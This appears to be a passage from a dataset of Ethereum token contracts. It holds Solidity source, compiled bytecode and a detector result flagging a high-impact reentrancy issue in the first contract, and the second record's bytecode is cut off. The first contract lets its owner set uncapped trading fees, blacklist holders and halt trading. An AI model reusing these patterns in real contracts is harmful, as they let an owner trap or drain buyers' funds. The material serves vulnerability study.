_approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610521578063dd62ed3e14610541578063ea1644d514610587578063f2fde38b146105a757600080fd5b8063a2a957bb1461049c578063a9059cbb146104bc578063bfd79284146104dc578063c3c8cd801461050c57600080fd5b80638f70ccf7116100d15780638f70ccf7146104175780638f9a55c01461043757806395d89b411461044d57806398a5c3151461047c57600080fd5b806374010ece146103c35780637d1db4a5146103e35780638da5cb5b146103f957600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103595780636fc3eaec1461037957806370a082311461038e578063715018a6146103ae57600080fd5b8063313ce567146102fd57806349bd5a5e146103195780636b9990531461033957600080fd5b80631694505e116101a05780631694505e1461026857806318160ddd146102a057806323b872dd146102c75780632fd689e3146102e757600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023857600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611af1565b6105c7565b005b3480156101ff57600080fd5b5060408051808201909152600a81526914d21253929050d5531560b21b60208201525b60405161022f9190611c1b565b60405180910390f35b34801561024457600080fd5b50610258610253366004611a47565b610674565b604051901515815260200161022f565b34801561027457600080fd5b50601454610288906001600160a01b031681565b6040516001600160a01b03909116815260200161022f565b3480156102ac57600080fd5b5069d3c21bcecceda10000005b60405190815260200161022f565b3480156102d357600080fd5b506102586102e2366004611a07565b61068b565b3480156102f357600080fd5b506102b960185481565b34801561030957600080fd5b506040516009815260200161022f565b34801561032557600080fd5b50601554610288906001600160a01b031681565b34801561034557600080fd5b506101f1610354366004611997565b6106f4565b34801561036557600080fd5b506101f1610374366004611bb8565b61073f565b34801561038557600080fd5b506101f1610787565b34801561039a57600080fd5b506102b96103a9366004611997565b6107d2565b3480156103ba57600080fd5b506101f16107f4565b3480156103cf57600080fd5b506101f16103de366004611bd2565b610868565b3480156103ef57600080fd5b506102b960165481565b34801561040557600080fd5b506000546001600160a01b0316610288565b34801561042357600080fd5b506101f1610432366004611bb8565b610897565b34801561044357600080fd5b506102b960175481565b34801561045957600080fd5b506040805180820190915260068152650914d0d5531560d21b6020820152610222565b34801561048857600080fd5b506101f1610497366004611bd2565b6108df565b3480156104a857600080fd5b506101f16104b7366004611bea565b61090e565b3480156104c857600080fd5b506102586104d7366004611a47565b61094c565b3480156104e857600080fd5b506102586104f7366004611997565b60106020526000908152604090205460ff1681565b34801561051857600080fd5b506101f1610959565b34801561052d57600080fd5b506101f161053c366004611a72565b6109ad565b34801561054d57600080fd5b506102b961055c3660046119cf565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059357600080fd5b506101f16105a2366004611bd2565b610a5c565b3480156105b357600080fd5b506101f16105c2366004611997565b610a8b565b6000546001600160a01b031633146105fa5760405162461bcd60e51b81526004016105f190611c6e565b60405180910390fd5b60005b81518110156106705760016010600084848151811061062c57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066881611d81565b9150506105fd565b5050565b6000610681338484610b75565b5060015b92915050565b6000610698848484610c99565b6106ea84336106e585604051806060016040528060288152602001611dde602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111d5565b610b75565b5060019392505050565b6000546001600160a01b0316331461071e5760405162461bcd60e51b81526004016105f190611c6e565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107695760405162461bcd60e51b81526004016105f190611c6e565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107bc57506013546001600160a01b0316336001600160a01b0316145b6107c557600080fd5b476107cf8161120f565b50565b6001600160a01b03811660009081526002602052604081205461068590611294565b6000546001600160a01b0316331461081e5760405162461bcd60e51b81526004016105f190611c6e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108925760405162461bcd60e51b81526004016105f190611c6e565b601655565b6000546001600160a01b031633146108c15760405162461bcd60e51b81526004016105f190611c6e565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109095760405162461bcd60e51b81526004016105f190611c6e565b601855565b6000546001600160a01b031633146109385760405162461bcd60e51b81526004016105f190611c6e565b600893909355600a91909155600955600b55565b6000610681338484610c99565b6012546001600160a01b0316336001600160a01b0316148061098e57506013546001600160a01b0316336001600160a01b0316145b61099757600080fd5b60006109a2306107d2565b90506107cf81611318565b6000546001600160a01b031633146109d75760405162461bcd60e51b81526004016105f190611c6e565b60005b82811015610a56578160056000868685818110610a0757634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a1c9190611997565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a4e81611d81565b9150506109da565b50505050565b6000546001600160a01b03163314610a865760405162461bcd60e51b81526004016105f190611c6e565b601755565b6000546001600160a01b03163314610ab55760405162461bcd60e51b81526004016105f190611c6e565b6001600160a01b038116610b1a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bd75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f1565b6001600160a01b038216610c385760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f1565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cfd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f1565b6001600160a01b038216610d5f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f1565b60008111610dc15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f1565b6000546001600160a01b03848116911614801590610ded57506000546001600160a01b03838116911614155b156110ce57601554600160a01b900460ff16610e86576000546001600160a01b03848116911614610e865760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f1565b601654811115610ed85760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f1565b6001600160a01b03831660009081526010602052604090205460ff16158015610f1a57506001600160a01b03821660009081526010602052604090205460ff16155b610f725760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f1565b6015546001600160a01b03838116911614610ff75760175481610f94846107d2565b610f9e9190611d13565b10610ff75760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f1565b6000611002306107d2565b60185460165491925082101590821061101b5760165491505b8080156110325750601554600160a81b900460ff16155b801561104c57506015546001600160a01b03868116911614155b80156110615750601554600160b01b900460ff165b801561108657506001600160a01b03851660009081526005602052604090205460ff16155b80156110ab57506001600160a01b03841660009081526005602052604090205460ff16155b156110cb576110b982611318565b4780156110c9576110c94761120f565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061111057506001600160a01b03831660009081526005602052604090205460ff165b8061114257506015546001600160a01b0385811691161480159061114257506015546001600160a01b03848116911614155b1561114f575060006111c9565b6015546001600160a01b03858116911614801561117a57506014546001600160a01b03848116911614155b1561118c57600854600c55600954600d555b6015546001600160a01b0384811691161480156111b757506014546001600160a01b03858116911614155b156111c957600a54600c55600b54600d555b610a56848484846114bd565b600081848411156111f95760405162461bcd60e51b81526004016105f19190611c1b565b5060006112068486611d6a565b95945050505050565b6012546001600160a01b03166108fc6112298360026114eb565b6040518115909202916000818181858888f19350505050158015611251573d6000803e3d6000fd5b506013546001600160a01b03166108fc61126c8360026114eb565b6040518115909202916000818181858888f19350505050158015610670573d6000803e3d6000fd5b60006006548211156112fb5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f1565b600061130561152d565b905061131183826114eb565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113c257600080fd5b505afa1580156113d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113fa91906119b3565b8160018151811061141b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546114419130911684610b75565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061147a908590600090869030904290600401611ca3565b600060405180830381600087803b15801561149457600080fd5b505af11580156114a8573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114ca576114ca611550565b6114d584848461157e565b80610a5657610a56600e54600c55600f54600d55565b600061131183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611675565b600080600061153a6116a3565b909250905061154982826114eb565b9250505090565b600c541580156115605750600d54155b1561156757565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611590876116e7565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115c29087611744565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115f19086611786565b6001600160a01b038916600090815260026020526040902055611613816117e5565b61161d848361182f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161166291815260200190565b60405180910390a3505050505050505050565b600081836116965760405162461bcd60e51b81526004016105f19190611c1b565b5060006112068486611d2b565b600654600090819069d3c21bcecceda10000006116c082826114eb565b8210156116de5750506006549269d3c21bcecceda100000092509050565b90939092509050565b60008060008060008060008060006117048a600c54600d54611853565b925092509250600061171461152d565b905060008060006117278e8787876118a8565b919e509c509a509598509396509194505050505091939550919395565b600061131183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d5565b6000806117938385611d13565b9050838110156113115760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f1565b60006117ef61152d565b905060006117fd83836118f8565b3060009081526002602052604090205490915061181a9082611786565b30600090815260026020526040902055505050565b60065461183c9083611744565b60065560075461184c9082611786565b6007555050565b600080808061186d606461186789896118f8565b906114eb565b9050600061188060646118678a896118f8565b90506000611898826118928b86611744565b90611744565b9992985090965090945050505050565b60008080806118b788866118f8565b905060006118c588876118f8565b905060006118d388886118f8565b905060006118e5826118928686611744565b939b939a50919850919650505050505050565b60008261190757506000610685565b60006119138385611d4b565b9050826119208583611d2b565b146113115760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f1565b803561198281611dc8565b919050565b8035801515811461198257600080fd5b6000602082840312156119a8578081fd5b813561131181611dc8565b6000602082840312156119c4578081fd5b815161131181611dc8565b600080604083850312156119e1578081fd5b82356119ec81611dc8565b915060208301356119fc81611dc8565b809150509250929050565b600080600060608486031215611a1b578081fd5b8335611a2681611dc8565b92506020840135611a3681611dc8565b929592945050506040919091013590565b60008060408385031215611a59578182fd5b8235611a6481611dc8565b946020939093013593505050565b600080600060408486031215611a86578283fd5b833567ffffffffffffffff80821115611a9d578485fd5b818601915086601f830112611ab0578485fd5b813581811115611abe578586fd5b8760208260051b8501011115611ad2578586fd5b602092830195509350611ae89186019050611987565b90509250925092565b60006020808385031215611b03578182fd5b823567ffffffffffffffff80821115611b1a578384fd5b818501915085601f830112611b2d578384fd5b813581811115611b3f57611b3f611db2565b8060051b604051601f19603f83011681018181108582111715611b6457611b64611db2565b604052828152858101935084860182860187018a1015611b82578788fd5b8795505b83861015611bab57611b9781611977565b855260019590950194938601938601611b86565b5098975050505050505050565b600060208284031215611bc9578081fd5b61131182611987565b600060208284031215611be3578081fd5b5035919050565b60008060008060808587031215611bff578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c4757858101830151858201604001528201611c2b565b81811115611c585783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cf25784516001600160a01b031683529383019391830191600101611ccd565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d2657611d26611d9c565b500190565b600082611d4657634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d6557611d65611d9c565b500290565b600082821015611d7c57611d7c611d9c565b500390565b6000600019821415611d9557611d95611d9c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107cf57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220330600a34450c4ff439d567c4d62cd97d5d038fb1d0c1647fbf09ef15c4e43f164736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
9,566
0x546e955456867a5822bb9532973f7380f1bf55a1
pragma solidity ^0.4.16; // VIRAL Token contract based on the full ERC 20 Token standard // https://github.com/ethereum/EIPs/issues/20 // Symbol: VRT // Status: ERC20 Verified contract VIRALToken { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * VIRALToken Math operations with safety checks to avoid unnecessary conflicts */ library VRTMaths { // Saftey Checks for Multiplication Tasks function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } // Saftey Checks for Divison Tasks function div(uint256 a, uint256 b) internal constant returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } // Saftey Checks for Subtraction Tasks function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } // Saftey Checks for Addition Tasks function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } } contract Ownable { address public owner; address public newOwner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } // validates an address - currently only checks that it isn&#39;t null modifier validAddress(address _address) { require(_address != 0x0); _; } function transferOwnership(address _newOwner) onlyOwner { if (_newOwner != address(0)) { owner = _newOwner; } } function acceptOwnership() { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; } event OwnershipTransferred(address indexed _from, address indexed _to); } contract VRTStandardToken is VIRALToken, Ownable { using VRTMaths for uint256; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function freezeAccount(address target, bool freeze) onlyOwner { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function transfer(address _to, uint256 _value) returns (bool success) { if (frozenAccount[msg.sender]) return false; require( (balances[msg.sender] >= _value) // Check if the sender has enough && (_value > 0) // Don&#39;t allow 0value transfer && (_to != address(0)) // Prevent transfer to 0x0 address && (balances[_to].add(_value) >= balances[_to]) // Check for overflows && (msg.data.length >= (2 * 32) + 4)); //mitigates the ERC20 short address attack //most of these things are not necesary balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (frozenAccount[msg.sender]) return false; require( (allowed[_from][msg.sender] >= _value) // Check allowance && (balances[_from] >= _value) // Check if the sender has enough && (_value > 0) // Don&#39;t allow 0value transfer && (_to != address(0)) // Prevent transfer to 0x0 address && (balances[_to].add(_value) >= balances[_to]) // Check for overflows && (msg.data.length >= (2 * 32) + 4) //mitigates the ERC20 short address attack //most of these things are not necesary ); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool success) { /* To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */ require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; // Notify anyone listening that this approval done Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract VIRALTOKEN is VRTStandardToken { /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ uint256 constant public decimals = 18; //How many decimals to show. uint256 public totalSupply = 25 * (10**6) * 10**18 ; // 25 million tokens, 18 decimal places string constant public name = "ViralToken"; //fancy name: eg VIRAL string constant public symbol = "VRT"; //An identifier: eg VRT string constant public version = "v12000"; //Version 11 standard. Just an arbitrary versioning scheme. function VIRALTOKEN(){ balances[msg.sender] = totalSupply; // Give the creator all initial tokens } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn&#39;t have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); return true; } }
0x606060405236156100ef576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f4578063095ea7b31461018357806318160ddd146101dd57806323b872dd14610206578063313ce5671461027f57806354fd4d50146102a857806370a082311461033757806379ba5097146103845780638da5cb5b1461039957806395d89b41146103ee578063a9059cbb1461047d578063b414d4b6146104d7578063cae9ca5114610528578063d4ee1d90146105c5578063dd62ed3e1461061a578063e724529c14610686578063f2fde38b146106ca575b600080fd5b34156100ff57600080fd5b610107610703565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101485780820151818401525b60208101905061012c565b50505050905090810190601f1680156101755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018e57600080fd5b6101c3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061073c565b604051808215151515815260200191505060405180910390f35b34156101e857600080fd5b6101f06108c4565b6040518082815260200191505060405180910390f35b341561021157600080fd5b610265600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108ca565b604051808215151515815260200191505060405180910390f35b341561028a57600080fd5b610292610d99565b6040518082815260200191505060405180910390f35b34156102b357600080fd5b6102bb610d9e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102fc5780820151818401525b6020810190506102e0565b50505050905090810190601f1680156103295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034257600080fd5b61036e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dd7565b6040518082815260200191505060405180910390f35b341561038f57600080fd5b610397610e21565b005b34156103a457600080fd5b6103ac610f81565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103f957600080fd5b610401610fa7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104425780820151818401525b602081019050610426565b50505050905090810190601f16801561046f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561048857600080fd5b6104bd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fe0565b604051808215151515815260200191505060405180910390f35b34156104e257600080fd5b61050e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611317565b604051808215151515815260200191505060405180910390f35b341561053357600080fd5b6105ab600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611337565b604051808215151515815260200191505060405180910390f35b34156105d057600080fd5b6105d86115da565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561062557600080fd5b610670600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611600565b6040518082815260200191505060405180910390f35b341561069157600080fd5b6106c8600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050611688565b005b34156106d557600080fd5b610701600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117b0565b005b6040805190810160405280600a81526020017f566972616c546f6b656e0000000000000000000000000000000000000000000081525081565b6000808214806107c857506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15156107d357600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000857